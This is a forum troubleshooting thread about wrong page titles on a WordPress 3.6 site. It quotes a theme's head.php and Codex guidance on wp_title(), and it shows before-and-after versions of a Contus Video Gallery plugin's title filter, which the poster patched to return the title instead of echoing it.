I am using wordpress 3.6. I have been trying to search google to see if it's a common issue or not. But didn't find a working solution yet. Please help.
Edit:
The Code for head.php (/yoo_revista_wp/warp/systems/wordpress/layouts/head.php) is as follows:
<meta charset="<?php bloginfo('charset'); ?>" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<?php if($this['config']->get('responsive', false)): ?>
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php endif; ?>
<title><?php bloginfo('name'); ?> <?php wp_title(); ?></title>
<link rel="shortcut icon" href="<?php echo $this['path']->url('template:favicon.ico');?>" />
<link rel="apple-touch-icon-precomposed" href="<?php echo $this['path']->url('template:apple_touch_icon.png'); ?>" />
<?php
wp_enqueue_script('jquery');
wp_head();
// set body classes
$this['config']->set('body_classes', implode(' ', get_body_class($this['config']->get('body_classes'))));
// get styles and scripts
$styles = $this['asset']->get('css');
$scripts = $this['asset']->get('js');
// compress styles and scripts
if ($compression = $this['config']->get('compression')) {
$options = array();
$filters = array('CSSImportResolver', 'CSSRewriteURL', 'CSSCompressor');
// set options
if ($compression == 3) {
$options['Gzip'] = true;
}
// set filter
if ($compression >= 2 && ($this['useragent']->browser() != 'msie' || version_compare($this['useragent']->version(), '8.0', '>='))) {
$filters[] = 'CSSImageBase64';
}
if ($styles) {
// cache styles and check for remote styles
$styles = array($this['asset']->cache('template.css', $styles, $filters, $options));
foreach ($styles[0] as $style) {
if ($style->getType() == 'File' && !$style->getPath()) {
$styles[] = $style;
}
}
}
if ($scripts) {
// cache scripts and check for remote scripts
$scripts = array($this['asset']->cache('template.js', $scripts, array('JSCompressor'), $options));
foreach ($scripts[0] as $script) {
if ($script->getType() == 'File' && !$script->getPath()) {
$scripts[] = $script;
}
}
}
}
// add styles
if ($styles) {
foreach ($styles as $style) {
if ($url = $style->getUrl()) {
printf("<link rel=\"stylesheet\" href=\"%s\" />\n", $url);
} else {
printf("<style>%s</style>\n", $style->getContent());
}
}
}
// add scripts
if ($scripts) {
foreach ($scripts as $script) {
if ($url = $script->getUrl()) {
printf("<script src=\"%s\"></script>\n", $url);
} else {
printf("<script>%s</script>\n", $script->getContent());
}
}
}
// add feed link
if (strlen($this['config']->get('rss_url',''))) {
printf("<link href=\"%s\" rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" />\n", $this['config']->get('rss_url'));
}
$this->output('head');
From the codex:
The wp_title() function should not be used by a theme in conjunction
with other strings or functions (like concatenating with
bloginfo('name')) to write the content of the element, because
it will render plugins unable to rewrite the whole title in case the
plugins use the wp_title filter do the rewrite, which is the best
practice. The use of this function is now a requirement for theme
developers.
TESTED CODE:
<?php bloginfo('name'); ?><?php wp_title('»'); ?>
The first parameter, $sep: Text to display before or after (specified by $seplocation) the post title (i.e. the separator).
Default: » (»)
Got wonderful clue from Ben's response, I must admit. Finally identified the culprit Plugin - it is Contus Video Gallery. The plugin is good in what it does, but tampered my page titles :X
I fixed the wp_title filter function in the Contus Video Gallery plugin in /plugins/contus-video-gallery/hdflvvideoshare.php and it worked like a charm!
Previously the code was:
function add_video_title() {
global $wpdb;
$videoID = url_to_custompostid(get_permalink());
if (isset($_GET['p'])) {
$videoID = intval($_GET['p']);
}
if (isset($_GET['playid'])) {
$playId = intval($_GET['playid']);
}
if (!empty($videoID)) {
$videoID = $wpdb->get_var("SELECT vid FROM " . $wpdb->prefix . "hdflvvideoshare WHERE slug='" . intval($videoID) . "'");
$video_title = $wpdb->get_var("SELECT t1.name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare AS t1"
. " WHERE t1.publish='1' AND t1.vid='" . intval($videoID) . "' LIMIT 1");
}
if (!empty($playId)) {
$video_title = $wpdb->get_var("SELECT t1.playlist_name AS name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare_playlist AS t1"
. " WHERE t1.is_publish='1' AND t1.pid='" . intval($playId) . "' LIMIT 1");
}
if (!empty($video_title))
echo $video_title;
}
Now the code is:
function add_video_title($title) {
if($_REQUEST['post_type']!='videogallery'){
return $title;
}
global $wpdb;
$videoID = url_to_custompostid(get_permalink());
if (isset($_GET['p'])) {
$videoID = intval($_GET['p']);
}
if (isset($_GET['playid'])) {
$playId = intval($_GET['playid']);
}
if (!empty($videoID)) {
$videoID = $wpdb->get_var("SELECT vid FROM " . $wpdb->prefix . "hdflvvideoshare WHERE slug='" . intval($videoID) . "'");
$video_title = $wpdb->get_var("SELECT t1.name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare AS t1"
. " WHERE t1.publish='1' AND t1.vid='" . intval($videoID) . "' LIMIT 1");
}
if (!empty($playId)) {
$video_title = $wpdb->get_var("SELECT t1.playlist_name AS name"
. " FROM " . $wpdb->prefix . "hdflvvideoshare_playlist AS t1"
. " WHERE t1.is_publish='1' AND t1.pid='" . intval($playId) . "' LIMIT 1");
}
if (!empty($video_title))
return $video_title;
}

Resources